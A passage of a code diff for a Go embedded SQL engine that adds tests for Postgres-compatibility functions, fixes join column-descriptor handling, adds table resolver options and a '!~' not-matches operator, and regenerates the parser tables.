+ err = f.RequiresType(BooleanType, nil, nil, "") + require.NoError(t, err) + + funcType, err := f.InferType(nil, nil, "") + require.NoError(t, err) + require.Equal(t, BooleanType, funcType) + + _, err = f.Apply(nil, []TypedValue{}) + require.ErrorIs(t, err, ErrIllegalArguments) + + v, err := f.Apply(nil, []TypedValue{NewVarchar("my_table")}) + require.NoError(t, err) + require.True(t, v.RawValue().(bool)) + }) + + t.Run("pg_shobj_description", func(t *testing.T) { + var f pgShobjDescription + + err := f.RequiresType(BooleanType, nil, nil, "") + require.Error(t, err, ErrInvalidTypes) + + err = f.RequiresType(VarcharType, nil, nil, "") + require.NoError(t, err) + + funcType, err := f.InferType(nil, nil, "") + require.NoError(t, err) + require.Equal(t, VarcharType, funcType) + + _, err = f.Apply(nil, []TypedValue{NewVarchar("")}) + require.ErrorIs(t, err, ErrIllegalArguments) + + v, err := f.Apply(nil, []TypedValue{NewVarchar(""), NewVarchar("")}) + require.NoError(t, err) + require.Empty(t, v.RawValue()) + }) +} diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index e01ba14a02..028704e494 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -85,8 +85,12 @@ func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]Co return nil, err } - for _, jspec := range jointr.joins { + jointDescriptors := make(map[string]ColDescriptor, len(colDescriptors)) + for sel, desc := range colDescriptors { + jointDescriptors[sel] = desc + } + for _, jspec := range jointr.joins { // TODO (byo) optimize this by getting selector list only or opening all joint readers // on jointRowReader creation, // Note: We're using a dummy ScanSpec object that is only used during read, we're only interested @@ -103,7 +107,7 @@ func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]Co } for sel, des := range cd { - if _, exists := colDescriptors[sel]; exists { + if _, exists := jointDescriptors[sel]; exists { return nil, fmt.Errorf( "error resolving '%s' in a join: %w, "+ "use aliasing to assign unique names "+ @@ -112,10 +116,10 @@ func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]Co ErrAmbiguousSelector, ) } - colDescriptors[sel] = des + jointDescriptors[sel] = des } } - return colDescriptors, nil + return jointDescriptors, nil } func (jointr *jointRowReader) colsByPos(ctx context.Context) ([]ColDescriptor, error) { @@ -169,7 +173,6 @@ func (jointr *jointRowReader) InferParameters(ctx context.Context, params map[st return err } } - return err } diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 3939f27655..c13b14bb81 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -36,6 +36,7 @@ type Options struct { parseTxMetadata func([]byte) (map[string]interface{}, error) multidbHandler MultiDBHandler + tableResolvers []TableResolver } func DefaultOptions() *Options { @@ -98,3 +99,8 @@ func (opts *Options) WithParseTxMetadataFunc(parseFunc func([]byte) (map[string] opts.parseTxMetadata = parseFunc return opts } + +func (opts *Options) WithTableResolvers(resolvers ...TableResolver) *Options { + opts.tableResolvers = append(opts.tableResolvers, resolvers...) + return opts +} diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 6b0e0b9277..66917bd602 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -429,6 +429,9 @@ func (l *lexer) Lex(lval *yySymType) int { } op := fmt.Sprintf("%c%s", ch, tail) + if op == "!~" { + return NOT_MATCHES_OP + } cmpOp, ok := cmpOps[op] if !ok { @@ -663,7 +666,7 @@ func isLetter(ch byte) bool { } func isComparison(ch byte) bool { - return ch == '!' || ch == '<' || ch == '=' || ch == '>' + return ch == '!' || ch == '<' || ch == '=' || ch == '>' || ch == '~' } func isQuote(ch byte) bool { diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 4c6efc679e..1970004c13 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1817,6 +1817,19 @@ func TestParseExp(t *testing.T) { }, }, }, + { + input: "SELECT name !~ 'laptop.*' FROM products", + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "products"}, + targets: []TargetEntry{ + { + Exp: NewLikeBoolExp(NewColSelector("", "name"), true, NewVarchar("laptop.*")), + }, + }, + }, + }, + }, } for i, tc := range testCases { diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 2898e16412..dff45b6d3b 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -88,6 +88,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token JOINTYPE %token AND OR %token CMPOP +%token NOT_MATCHES_OP %token IDENTIFIER %token TYPE %token INTEGER @@ -106,6 +107,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %left OR %left AND +%right NOT_MATCHES_OP %right LIKE %right NOT @@ -1108,6 +1110,11 @@ exp: { $$ = &LikeBoolExp{val: $1, notLike: $2, pattern: $4} } +| + boundexp NOT_MATCHES_OP exp + { + $$ = &LikeBoolExp{val: $1, notLike: true, pattern: $3} + } | EXISTS '(' dqlstmt ')' { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index e19f1e3f05..157d0b33f8 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -154,18 +154,19 @@ const JOINTYPE = 57435 const AND = 57436 const OR = 57437 const CMPOP = 57438 -const IDENTIFIER = 57439 -const TYPE = 57440 -const INTEGER = 57441 -const FLOAT = 57442 -const VARCHAR = 57443 -const BOOLEAN = 57444 -const BLOB = 57445 -const AGGREGATE_FUNC = 57446 -const ERROR = 57447 -const DOT = 57448 -const ARROW = 57449 -const STMT_SEPARATOR = 57450 +const NOT_MATCHES_OP = 57439 +const IDENTIFIER = 57440 +const TYPE = 57441 +const INTEGER = 57442 +const FLOAT = 57443 +const VARCHAR = 57444 +const BOOLEAN = 57445 +const BLOB = 57446 +const AGGREGATE_FUNC = 57447 +const ERROR = 57448 +const DOT = 57449 +const ARROW = 57450 +const STMT_SEPARATOR = 57451 var yyToknames = [...]string{ "$end", @@ -264,6 +265,7 @@ var yyToknames = [...]string{ "AND", "OR", "CMPOP", + "NOT_MATCHES_OP", "IDENTIFIER", "TYPE", "INTEGER", @@ -300,141 +302,141 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 97, - 78, 193, - 81, 193, + 78, 194, + 81, 194, -2, 175, - -1, 270, + -1, 272, 59, 146, -2, 141, - -1, 320, + -1, 322, 59, 146, -2, 143, } const yyPrivate = 57344 -const yyLast = 611 +const yyLast = 613 var yyAct = [...]int16{ - 131, 433, 313, 107, 341, 153, 264, 357, 325, 202, - 208, 115, 324, 242, 247, 243, 319, 308, 6, 299, - 199, 71, 144, 22, 402, 147, 347, 262, 346, 262, - 421, 294, 130, 403, 364, 394, 405, 262, 386, 106, - 374, 262, 129, 365, 99, 162, 348, 101, 262, 393, - 303, 118, 114, 377, 21, 373, 371, 263, 116, 117, - 332, 358, 96, 330, 119, 329, 109, 110, 111, 112, - 113, 108, 154, 155, 157, 156, 158, 100, 327, 293, - 359, 179, 291, 105, 106, 290, 284, 261, 326, 99, - 298, 178, 101, 283, 178, 278, 118, 114, 277, 276, - 168, 169, 275, 116, 117, 249, 171, 173, 149, 119, - 162, 109, 110, 111, 112, 113, 108, 132, 188, 181, - 177, 162, 100, 176, 161, 170, 143, 142, 105, 24, - 240, 187, 432, 159, 160, 161, 162, 154, 155, 157, - 156, 158, 425, 145, 238, 364, 204, 422, 154, 155, - 157, 156, 158, 217, 295, 218, 219, 220, 221, 222, - 223, 224, 225, 215, 201, 157, 156, 158, 294, 205, - 185, 186, 162, 262, 152, 83, 236, 175, 241, 244, - 239, 179, 213, 134, 159, 160, 161, 289, 258, 232, - 206, 339, 251, 237, 385, 384, 164, 296, 231, 154, - 155, 157, 156, 158, 32, 253, 240, 233, 269, 252, - 200, 33, 76, 380, 106, 267, 368, 352, 270, 99, - 351, 279, 101, 280, 163, 344, 118, 114, 343, 273, - 282, 271, 268, 116, 117, 350, 288, 331, 311, 119, - 148, 109, 110, 111, 112, 113, 108, 211, 212, 214, - 257, 256, 100, 94, 255, 254, 216, 248, 105, 250, - 245, 228, 197, 196, 189, 182, 315, 150, 133, 122, - 297, 120, 91, 54, 317, 210, 80, 323, 305, 79, - 310, 312, 310, 77, 244, 78, 75, 336, 337, 70, - 248, 69, 207, 322, 31, 340, 58, 22, 167, 334, - 401, 383, 333, 434, 435, 227, 281, 166, 382, 274, - 342, 60, 226, 309, 400, 356, 162, 180, 162, 349, - 360, 22, 355, 229, 121, 65, 230, 244, 21, 335, - 159, 160, 161, 367, 235, 369, 370, 362, 372, 376, - 366, 361, 272, 90, 379, 154, 155, 157, 156, 158, - 22, 314, 21, 39, 286, 55, 287, 416, 424, 106, - 265, 56, 57, 59, 99, 64, 408, 101, 390, 49, - 145, 118, 114, 392, 391, 215, 395, 407, 116, 117, - 388, 21, 363, 151, 119, 52, 109, 110, 111, 112, - 113, 108, 62, 66, 67, 414, 404, 100, 88, 413, - 410, 409, 412, 105, 411, 387, 51, 50, 417, 25, - 82, 92, 419, 344, 398, 164, 343, 396, 162, 378, - 190, 426, 423, 193, 194, 430, 428, 427, 162, 431, - 159, 160, 161, 436, 124, 191, 192, 140, 437, 137, - 159, 160, 161, 163, 397, 154, 155, 157, 156, 158, - 304, 260, 375, 259, 420, 154, 155, 157, 156, 158, - 162, 338, 135, 136, 354, 316, 183, 292, 123, 162, - 84, 81, 159, 160, 161, 266, 68, 328, 2, 195, - 162, 159, 160, 161, 128, 127, 184, 154, 155, 157, - 156, 158, 159, 160, 161, 138, 154, 155, 157, 156, - 158, 162, 36, 63, 43, 47, 162, 154, 155, 157, - 156, 158, 125, 159, 160, 161, 307, 34, 159, 35, - 161, 10, 12, 11, 38, 141, 209, 48, 154, 155, - 157, 156, 158, 154, 155, 157, 156, 158, 306, 37, - 73, 74, 139, 203, 13, 44, 53, 23, 234, 46, - 45, 41, 353, 14, 15, 146, 42, 165, 7, 381, - 8, 9, 16, 17, 26, 30, 18, 19, 399, 415, - 429, 40, 345, 22, 300, 301, 302, 85, 86, 87, - 27, 29, 28, 95, 93, 102, 389, 98, 285, 97, - 406, 172, 321, 320, 318, 126, 72, 89, 61, 174, - 103, 104, 418, 198, 21, 246, 20, 5, 4, 3, - 1, + 131, 435, 315, 107, 343, 153, 266, 359, 327, 203, + 209, 115, 326, 244, 249, 245, 321, 310, 6, 301, + 200, 71, 144, 22, 404, 147, 349, 264, 348, 264, + 423, 130, 296, 405, 366, 396, 407, 264, 388, 106, + 264, 376, 129, 367, 99, 162, 350, 101, 264, 305, + 395, 118, 114, 379, 21, 375, 373, 265, 116, 117, + 214, 334, 96, 360, 332, 119, 331, 109, 110, 111, + 112, 113, 108, 154, 155, 157, 156, 158, 100, 329, + 295, 328, 361, 106, 105, 238, 293, 292, 99, 286, + 263, 101, 300, 285, 180, 118, 114, 179, 280, 279, + 169, 170, 116, 117, 179, 278, 172, 174, 149, 119, + 162, 109, 110, 111, 112, 113, 108, 132, 277, 251, + 162, 189, 100, 182, 161, 212, 213, 215, 105, 178, + 177, 188, 159, 160, 161, 217, 171, 143, 154, 155, + 157, 156, 158, 162, 142, 24, 205, 424, 154, 155, + 157, 156, 158, 218, 211, 219, 220, 221, 222, 223, + 224, 225, 226, 216, 202, 145, 434, 232, 242, 206, + 186, 187, 162, 157, 156, 158, 427, 366, 297, 243, + 246, 241, 240, 296, 159, 160, 161, 264, 152, 83, + 234, 176, 180, 134, 291, 260, 253, 239, 387, 386, + 154, 155, 157, 156, 158, 32, 255, 164, 235, 271, + 254, 341, 33, 207, 298, 106, 269, 233, 242, 272, + 99, 201, 281, 101, 282, 382, 76, 118, 114, 370, + 275, 284, 273, 270, 116, 117, 163, 346, 290, 354, + 345, 119, 168, 109, 110, 111, 112, 113, 108, 353, + 352, 167, 333, 313, 100, 94, 148, 259, 258, 257, + 105, 256, 166, 162, 250, 252, 247, 229, 317, 198, + 197, 190, 299, 183, 150, 159, 319, 161, 133, 325, + 307, 122, 312, 314, 312, 120, 246, 436, 437, 338, + 339, 154, 155, 157, 156, 158, 31, 342, 77, 91, + 54, 336, 162, 250, 335, 80, 79, 78, 75, 70, + 69, 208, 344, 22, 159, 160, 161, 358, 324, 311, + 403, 351, 362, 276, 357, 283, 402, 22, 162, 246, + 154, 155, 157, 156, 158, 369, 181, 371, 372, 364, + 374, 378, 368, 363, 21, 385, 381, 228, 65, 121, + 337, 58, 384, 39, 227, 288, 274, 289, 21, 230, + 106, 55, 231, 237, 22, 99, 60, 90, 101, 49, + 418, 316, 118, 114, 267, 394, 393, 216, 397, 116, + 117, 426, 390, 410, 392, 145, 119, 409, 109, 110, + 111, 112, 113, 108, 365, 21, 416, 151, 52, 100, + 62, 415, 412, 411, 414, 105, 413, 164, 406, 389, + 419, 88, 51, 50, 421, 25, 56, 57, 59, 210, + 162, 398, 82, 428, 425, 92, 400, 432, 430, 429, + 162, 433, 159, 160, 161, 438, 163, 140, 346, 53, + 439, 345, 159, 160, 161, 377, 380, 191, 154, 155, + 157, 156, 158, 162, 306, 340, 262, 399, 154, 155, + 157, 156, 158, 162, 137, 159, 160, 161, 194, 195, + 85, 86, 87, 294, 261, 159, 160, 161, 64, 192, + 193, 154, 155, 157, 156, 158, 162, 135, 136, 422, + 356, 154, 155, 157, 156, 158, 162, 318, 159, 160, + 161, 184, 123, 84, 81, 268, 66, 67, 159, 160, + 161, 10, 12, 11, 154, 155, 157, 156, 158, 43, + 47, 26, 30, 68, 154, 155, 157, 156, 158, 2, + 38, 330, 73, 74, 13, 128, 127, 27, 29, 28, + 196, 185, 48, 14, 15, 37, 138, 124, 7, 125, + 8, 9, 16, 17, 63, 36, 18, 19, 309, 308, + 44, 141, 204, 22, 46, 45, 302, 303, 304, 139, + 34, 42, 35, 23, 236, 41, 355, 146, 165, 383, + 401, 417, 431, 347, 95, 93, 40, 102, 391, 98, + 287, 97, 408, 173, 21, 323, 322, 320, 126, 72, + 89, 61, 175, 103, 104, 420, 199, 248, 20, 5, + 4, 3, 1, } var yyPact = [...]int16{ - 517, -1000, -1000, 14, -1000, -1000, -1000, 367, -1000, -1000, - 557, 197, 494, 516, 500, 500, 360, 359, 327, 176, - 285, 273, 335, -1000, 517, -1000, 246, 246, 246, 451, - 194, -1000, 192, 524, 189, 186, 188, 182, 179, 445, - 370, 67, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 444, - 176, 176, 176, 347, -1000, 272, -1000, -1000, 175, -1000, - 372, 142, -1000, -1000, 174, 247, 172, 442, 246, 503, - -1000, -1000, 466, 12, 12, -1000, 171, 77, -1000, 434, - 486, 535, -1000, 500, 518, 11, 10, 309, 143, 241, - -1000, -1000, 170, 325, -1000, 66, 346, 221, -1000, 287, - 287, 9, -1000, -1000, -1000, 287, 287, 70, 7, -1000, - -1000, -1000, -1000, -1000, 4, -1000, -1000, -1000, -1000, -25, - -1000, 237, 3, 168, 440, 476, -1000, 12, 12, -1000, - 287, 419, -1000, 2, 167, 389, 405, 392, 469, 166, - -1000, 165, 113, 113, 537, 287, 82, -1000, 196, -1000, - -1000, 159, 287, -1000, 287, 287, 287, 287, 287, 287, - 287, 287, 228, -1000, 164, 245, 100, -1000, 28, 54, - 241, 90, 261, 419, 69, 92, 33, 287, 287, 163, - -1000, 160, -11, 162, 91, -1000, -1000, 419, 113, -1000, - 160, 158, 157, 154, 153, 87, 423, 421, -30, 65, - -1000, -60, 296, 450, 419, 537, 143, 287, 537, 524, - 294, -14, -17, -18, -21, 127, -22, 346, 54, 54, - 234, 234, 234, 28, 424, -37, -1000, 222, -1000, 287, - -23, -1000, -31, -1000, 281, 287, 86, -1000, -32, -35, - 75, 398, -38, 60, 419, -1000, 46, -1000, 99, 113, - -26, 563, -67, -1000, -1000, 420, -1000, -1000, 563, 530, - 508, 265, 141, 265, 286, 287, 439, 296, -1000, 419, - 200, 127, -28, -39, 456, -52, -54, 140, -57, -1000, - -1000, -1000, 28, -33, -1000, 253, 287, 287, 387, -1000, - -1000, -1000, 93, -1000, 287, 193, -90, -71, 113, -1000, - -1000, -1000, -1000, -1000, 138, -1000, 123, 120, 438, -28, - -1000, -1000, -1000, -1000, 287, 419, -36, 286, 309, -1000, - 200, 323, -1000, -1000, -74, -1000, 287, 127, 119, 127, - 127, -61, 127, -62, -77, -1000, 378, 419, 287, -64, - 419, 386, -1000, 287, 116, 224, 96, 95, -1000, -79, - -1000, -1000, -1000, -1000, 353, 37, 419, -1000, -1000, 113, - -1000, 306, -1000, 159, -28, -1000, -68, -1000, -82, -1000, - -1000, -1000, -1000, -1000, -1000, 287, 419, -1000, 383, 336, - 379, 231, -1000, 216, -95, -84, -1000, 343, -81, 317, - 303, 537, -1000, -1000, 127, 419, -36, 381, 287, -1000, - -1000, -1000, -1000, -1000, 341, -1000, 291, 287, 109, 428, - -1000, -87, -1000, 39, -1000, 296, 295, 419, 34, -1000, - 287, -1000, 381, 286, 287, 109, 419, -1000, -1000, 24, - 236, -1000, 287, -1000, -1000, -1000, 236, -1000, + 507, -1000, -1000, 29, -1000, -1000, -1000, 373, -1000, -1000, + 514, 198, 547, 522, 515, 515, 366, 365, 340, 202, + 291, 328, 343, -1000, 507, -1000, 269, 269, 269, 498, + 212, -1000, 211, 516, 210, 200, 209, 208, 207, 478, + 382, 80, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 477, + 202, 202, 202, 360, -1000, 296, -1000, -1000, 201, -1000, + 386, 143, -1000, -1000, 187, 272, 183, 476, 269, 540, + -1000, -1000, 517, 11, 11, -1000, 180, 86, -1000, 459, + 537, 562, -1000, 515, 554, 27, 20, 324, 158, 257, + -1000, -1000, 176, 339, -1000, 79, 338, 165, -1000, 288, + 288, 19, -1000, -1000, -1000, 288, 288, 83, 13, -1000, + -1000, -1000, -1000, -1000, 12, -1000, -1000, -1000, -1000, -13, + -1000, 256, 6, 175, 475, 531, -1000, 11, 11, -1000, + 288, 414, -1000, 4, 173, 416, 449, 437, 530, 172, + -1000, 171, 123, 123, 556, 288, 104, -1000, 215, -1000, + -1000, 37, 288, -1000, 288, 288, 288, 288, 288, 288, + 288, 288, 270, -1000, 169, 281, 288, 118, -1000, 28, + 61, 257, 90, 290, 414, -23, 95, 70, 288, 288, + 168, -1000, 166, 2, 167, 94, -1000, -1000, 414, 123, + -1000, 166, 163, 161, 160, 159, 93, 444, 426, -28, + 78, -1000, -61, 310, 480, 414, 556, 158, 288, 556, + 516, 308, 1, -12, -18, -19, 138, -20, 338, 61, + 61, 246, 246, 246, 28, 181, -37, -1000, 241, -1000, + 288, -24, 28, -1000, -29, -1000, 282, 288, 92, -1000, + -31, -32, 85, 404, -38, 74, 414, -1000, 69, -1000, + 115, 123, -25, 555, -69, -1000, -1000, 424, -1000, -1000, + 555, 551, 550, 271, 155, 271, 306, 288, 471, 310, + -1000, 414, 225, 138, -36, -39, 510, -52, -54, 154, + -57, -1000, -1000, -1000, 28, -33, -1000, 274, 288, 288, + 381, -1000, -1000, -1000, 112, -1000, 288, 205, -91, -72, + 123, -1000, -1000, -1000, -1000, -1000, 152, -1000, 151, 141, + 464, -36, -1000, -1000, -1000, -1000, 288, 414, -35, 306, + 324, -1000, 225, 335, -1000, -1000, -75, -1000, 288, 138, + 131, 138, 138, -62, 138, -63, -77, -1000, 371, 414, + 288, -65, 414, 413, -1000, 288, 127, 268, 99, 98, + -1000, -80, -1000, -1000, -1000, -1000, 357, 68, 414, -1000, + -1000, 123, -1000, 322, -1000, 37, -36, -1000, -68, -1000, + -83, -1000, -1000, -1000, -1000, -1000, -1000, 288, 414, -1000, + 387, 348, 391, 243, -1000, 236, -96, -85, -1000, 355, + -82, 327, 320, 556, -1000, -1000, 138, 414, -35, 406, + 288, -1000, -1000, -1000, -1000, -1000, 342, -1000, 304, 288, + 120, 463, -1000, -88, -1000, 38, -1000, 310, 318, 414, + 67, -1000, 288, -1000, 406, 306, 288, 120, 414, -1000, + -1000, 57, 220, -1000, 288, -1000, -1000, -1000, 220, -1000, } var yyPgo = [...]int16{ - 0, 610, 478, 609, 608, 607, 18, 606, 605, 14, - 20, 7, 603, 602, 12, 8, 15, 13, 601, 11, - 600, 599, 3, 598, 597, 10, 17, 526, 21, 596, - 595, 42, 594, 16, 593, 592, 4, 0, 591, 22, - 590, 589, 588, 587, 586, 6, 2, 585, 584, 583, - 572, 5, 570, 569, 1, 9, 365, 568, 559, 557, - 25, 555, 552, 19, 551, 353, 548, 547, + 0, 612, 529, 611, 610, 609, 18, 608, 607, 14, + 20, 7, 606, 605, 12, 8, 15, 13, 604, 11, + 603, 602, 3, 601, 600, 10, 17, 419, 21, 599, + 598, 42, 597, 16, 596, 595, 4, 0, 593, 22, + 592, 591, 590, 589, 588, 6, 2, 587, 585, 584, + 583, 5, 582, 581, 1, 9, 478, 580, 579, 578, + 25, 577, 576, 19, 575, 353, 574, 573, } var yyR1 = [...]int8{ @@ -456,9 +458,9 @@ var yyR1 = [...]int8{ 44, 44, 40, 40, 45, 45, 46, 46, 53, 53, 55, 55, 52, 52, 54, 54, 54, 51, 51, 51, 36, 36, 36, 38, 38, 37, 37, 37, 37, 37, - 37, 37, 37, 37, 47, 66, 66, 42, 42, 41, - 41, 41, 41, 59, 59, 43, 43, 43, 43, 43, - 43, 43, 43, 43, 43, + 37, 37, 37, 37, 37, 47, 66, 66, 42, 42, + 41, 41, 41, 41, 59, 59, 43, 43, 43, 43, + 43, 43, 43, 43, 43, 43, } var yyR2 = [...]int8{ @@ -480,56 +482,56 @@ var yyR2 = [...]int8{ 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, 0, 4, 6, 0, 1, 1, 1, 2, 2, 4, - 4, 6, 6, 1, 5, 4, 5, 0, 2, 1, - 1, 3, 3, 0, 1, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 4, + 3, 4, 6, 6, 1, 5, 4, 5, 0, 2, + 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, - -7, 87, 56, -67, 115, 42, 7, 23, 25, 24, - 8, 97, 7, 14, 23, 25, 8, 23, 8, -65, + -7, 87, 56, -67, 116, 42, 7, 23, 25, 24, + 8, 98, 7, 14, 23, 25, 8, 23, 8, -65, 71, -64, 56, 4, 45, 50, 49, 5, 27, -65, - 47, 47, 58, -27, 97, 70, 88, 89, 23, 90, - 38, -23, 57, -2, -56, 79, -56, -56, 25, 97, - 97, -28, -29, 16, 17, 97, 26, 97, 97, 97, - 97, 26, 40, 108, 26, -27, -27, -27, 51, -24, - 71, 97, 39, -48, 111, -49, -37, -41, -43, 77, - 110, 80, -47, -20, -18, 116, 72, -22, 104, 99, - 100, 101, 102, 103, 85, -19, 91, 92, 84, 97, - 97, 77, 97, 26, -56, 9, -30, 19, 18, -31, - 20, -37, -31, 97, 106, 28, 29, 5, 9, 7, - -65, 7, 116, 116, -39, 61, -61, -60, 97, -6, - 97, 58, 108, -51, 109, 110, 112, 111, 113, 94, - 95, 96, 82, 97, 69, -59, 86, 77, -37, -37, - 116, -37, -38, -37, -21, 107, 116, 116, 116, 106, - 80, 116, 97, 26, 10, -31, -31, -37, 116, 97, - 31, 30, 31, 31, 32, 10, 97, 97, -12, -10, - 97, -10, -55, 6, -37, -39, 108, 96, -25, -27, - 116, 88, 89, 23, 90, -19, 97, -37, -37, -37, - -37, -37, -37, -37, -37, -37, 84, 77, 97, 78, - 81, 98, -6, 117, -66, 73, 107, 101, 111, -22, - 97, -37, -17, -16, -37, 97, -8, -9, 97, 116, - 97, 101, -10, -9, 97, 97, 97, 97, 101, 30, - 30, 117, 108, 117, -45, 64, 25, -55, -60, -37, - -55, -28, 48, -6, 15, 116, 116, 116, 116, -51, - -51, 84, -37, 116, 117, -42, 73, 75, -37, 101, - 117, 117, 69, 117, 108, 108, 98, -10, 116, -63, - 11, 12, 13, 117, 30, -63, 8, 8, -26, 48, - -6, 97, -26, -46, 65, -37, 26, -45, -32, -33, - -34, -35, 93, -51, -14, -15, 116, 117, 21, 117, - 117, 97, 117, -6, -16, 76, -37, -37, 74, 98, - -37, -36, -9, 35, 32, -50, 118, 116, 117, -10, - 97, 97, 97, -62, 26, -14, -37, -11, 97, 116, - -46, -39, -33, 59, 108, 117, -17, -51, 97, -51, - -51, 117, -51, 117, 117, 74, -37, 117, 33, -37, - 97, -58, 84, 77, 99, 99, 117, 52, -10, -44, - 62, -25, -15, 117, 117, -37, 34, 108, 35, -57, - 83, 84, 119, 117, 53, 117, -40, 60, 63, -55, - -51, -11, -36, -37, 54, -53, 66, -37, -13, -22, - 26, 117, 108, -45, 63, 108, -37, -36, -46, -52, - -37, -22, 108, -54, 67, 68, -37, -54, + 47, 47, 58, -27, 98, 70, 88, 89, 23, 90, + 38, -23, 57, -2, -56, 79, -56, -56, 25, 98, + 98, -28, -29, 16, 17, 98, 26, 98, 98, 98, + 98, 26, 40, 109, 26, -27, -27, -27, 51, -24, + 71, 98, 39, -48, 112, -49, -37, -41, -43, 77, + 111, 80, -47, -20, -18, 117, 72, -22, 105, 100, + 101, 102, 103, 104, 85, -19, 91, 92, 84, 98, + 98, 77, 98, 26, -56, 9, -30, 19, 18, -31, + 20, -37, -31, 98, 107, 28, 29, 5, 9, 7, + -65, 7, 117, 117, -39, 61, -61, -60, 98, -6, + 98, 58, 109, -51, 110, 111, 113, 112, 114, 94, + 95, 96, 82, 98, 69, -59, 97, 86, 77, -37, + -37, 117, -37, -38, -37, -21, 108, 117, 117, 117, + 107, 80, 117, 98, 26, 10, -31, -31, -37, 117, + 98, 31, 30, 31, 31, 32, 10, 98, 98, -12, + -10, 98, -10, -55, 6, -37, -39, 109, 96, -25, + -27, 117, 88, 89, 23, 90, -19, 98, -37, -37, + -37, -37, -37, -37, -37, -37, -37, 84, 77, 98, + 78, 81, -37, 99, -6, 118, -66, 73, 108, 102, + 112, -22, 98, -37, -17, -16, -37, 98, -8, -9, + 98, 117, 98, 102, -10, -9, 98, 98, 98, 98, + 102, 30, 30, 118, 109, 118, -45, 64, 25, -55, + -60, -37, -55, -28, 48, -6, 15, 117, 117, 117, + 117, -51, -51, 84, -37, 117, 118, -42, 73, 75, + -37, 102, 118, 118, 69, 118, 109, 109, 99, -10, + 117, -63, 11, 12, 13, 118, 30, -63, 8, 8, + -26, 48, -6, 98, -26, -46, 65, -37, 26, -45, + -32, -33, -34, -35, 93, -51, -14, -15, 117, 118, + 21, 118, 118, 98, 118, -6, -16, 76, -37, -37, + 74, 99, -37, -36, -9, 35, 32, -50, 119, 117, + 118, -10, 98, 98, 98, -62, 26, -14, -37, -11, + 98, 117, -46, -39, -33, 59, 109, 118, -17, -51, + 98, -51, -51, 118, -51, 118, 118, 74, -37, 118, + 33, -37, 98, -58, 84, 77, 100, 100, 118, 52, + -10, -44, 62, -25, -15, 118, 118, -37, 34, 109, + 35, -57, 83, 84, 120, 118, 53, 118, -40, 60, + 63, -55, -51, -11, -36, -37, 54, -53, 66, -37, + -13, -22, 26, 118, 109, -45, 63, 109, -37, -36, + -46, -52, -37, -22, 109, -54, 67, 68, -37, -54, } var yyDef = [...]int16{ @@ -543,53 +545,53 @@ var yyDef = [...]int16{ 15, 16, 136, 0, 0, 18, 0, 0, 30, 0, 0, 0, 33, 0, 0, 0, 0, 148, 0, 0, 107, 101, 0, 0, 110, 111, 167, -2, 176, 0, - 0, 0, 183, 189, 190, 0, 173, 114, 0, 75, + 0, 0, 184, 190, 191, 0, 173, 114, 0, 75, 76, 77, 78, 79, 0, 81, 82, 83, 84, 120, 13, 0, 0, 0, 0, 0, 132, 0, 0, 134, 0, 140, 135, 0, 0, 0, 0, 0, 0, 0, 35, 0, 62, 0, 160, 0, 148, 59, 0, 98, 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 168, 0, 0, 0, 194, 177, 178, - 0, 0, 0, 174, 115, 0, 0, 0, 71, 0, - 48, 0, 0, 0, 0, 137, 138, 139, 0, 22, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, - 67, 0, 154, 0, 149, 160, 0, 0, 160, 133, - 0, 0, 0, 0, 0, 167, 131, 167, 195, 196, - 197, 198, 199, 200, 201, 202, 203, 0, 169, 0, - 0, 192, 0, 191, 187, 0, 0, 118, 0, 0, - 120, 0, 0, 72, 73, 121, 0, 86, 0, 0, - 0, 43, 0, 23, 24, 0, 26, 27, 43, 0, - 0, 0, 0, 0, 156, 0, 0, 154, 60, 61, - -2, 167, 0, 0, 0, 0, 0, 0, 0, 129, - 113, 204, 179, 0, 180, 0, 0, 0, 0, 119, - 116, 117, 0, 85, 0, 170, 89, 0, 0, 28, - 44, 45, 46, 21, 0, 29, 0, 0, 57, 0, - 56, 68, 52, 53, 0, 155, 0, 156, 148, 142, - -2, 0, 147, 122, 0, 64, 71, 167, 0, 167, - 167, 0, 167, 0, 0, 184, 0, 188, 0, 0, - 74, 0, 87, 0, 0, 94, 0, 0, 19, 0, - 25, 31, 32, 51, 0, 55, 157, 161, 49, 0, - 54, 150, 144, 0, 0, 123, 0, 124, 0, 125, - 126, 127, 128, 181, 182, 0, 185, 80, 0, 0, - 0, 92, 95, 0, 0, 0, 20, 0, 0, 152, - 0, 160, 65, 66, 167, 186, 0, 170, 0, 88, - 93, 96, 90, 91, 0, 50, 158, 0, 0, 0, - 130, 0, 171, 0, 58, 154, 0, 153, 151, 69, - 0, 17, 170, 156, 0, 0, 145, 172, 105, 159, - 164, 70, 0, 162, 165, 166, 164, 163, + 0, 0, 0, 168, 0, 0, 0, 0, 195, 177, + 178, 0, 0, 0, 174, 